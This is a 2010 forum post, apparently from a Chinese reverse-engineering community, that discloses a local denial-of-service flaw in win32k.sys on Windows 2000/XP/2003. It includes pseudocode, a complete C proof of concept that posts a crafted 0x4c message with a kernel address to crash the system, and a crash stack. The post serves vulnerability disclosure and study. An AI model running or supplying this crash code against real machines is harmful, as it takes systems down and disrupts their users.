吾爱破解 - LCG - LSG |安卓破解|病毒分析|破解软件|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 5920|回复: 7

[漏洞分析] Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞

[复制链接]
MJ0011 发表于 2010-4-22 19:40
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞

影响范围:Microsoft Windows 2000/XP/2003 全补丁

漏洞细节:

Win32k.sys 在DispatchMessage时,会最后调用到xxxDefWindowProc,这个函数在处理某些消息时,会调用gapfnScSendMessage这个函数表中的函数来处理,其中2000/xp/2003下在处理0x4c号消息时,会有一个名为SfnLOGONNOTIFY 的函数,这个函数再当wParam == 4/13/12时,直接从lParam里取出数据,尽管函数内使用了SEH,但是只要传递错误的内核地址,仍然会引发系统崩溃

伪代码:

if ( wParam == 4 || wParam == 13 || wParam == 12 )
{
    v18 = *(_DWORD *)lParam;
    v19 = *(_DWORD *)(lParam + 4);
    v20 = *(_DWORD *)(lParam + 8);
    v21 = *(_DWORD *)(lParam + 12);

测试代码:

#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[])
{
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();


HWND hwnd = FindWindow("DDEMLEvent" , NULL);

if (hwnd == 0 )
{
  printf("cannot find DDEMLEvent Window!\n");
  return 0 ;
}

PostMessage(hwnd , 0x4c , 0x4 , 0x80000000);


return 0 ;
}

全补丁的XP运行此代码立即蓝屏

常见崩溃栈:

kd> kc

win32k!SfnLOGONNOTIFY
win32k!xxxDefWindowProc
win32k!xxxEventWndProc
win32k!xxxDispatchMessage
win32k!NtUserDispatchMessage
....

Windows 7/Vista 无此问题

感谢:

感谢同事LYL帮忙测试发现此漏洞

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

孤独之星 发表于 2011-3-29 22:40
嗯,写的不错!
buleqi 发表于 2011-4-19 13:33
w7419632 发表于 2011-4-23 17:00
987wangli 发表于 2011-10-9 20:52
学习了呵呵
头像被屏蔽
cfc1680 发表于 2012-3-3 22:11
提示: 作者被禁止或删除 内容自动屏蔽
阿顺 发表于 2013-12-18 11:58
电脑基础没学好,表示帮不上楼主的忙,不过还是支持下楼主的学习精神!
头像被屏蔽
苏烟式 发表于 2014-7-21 00:41
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:禁止回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2019-10-23 07:54

Powered by Discuz!

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表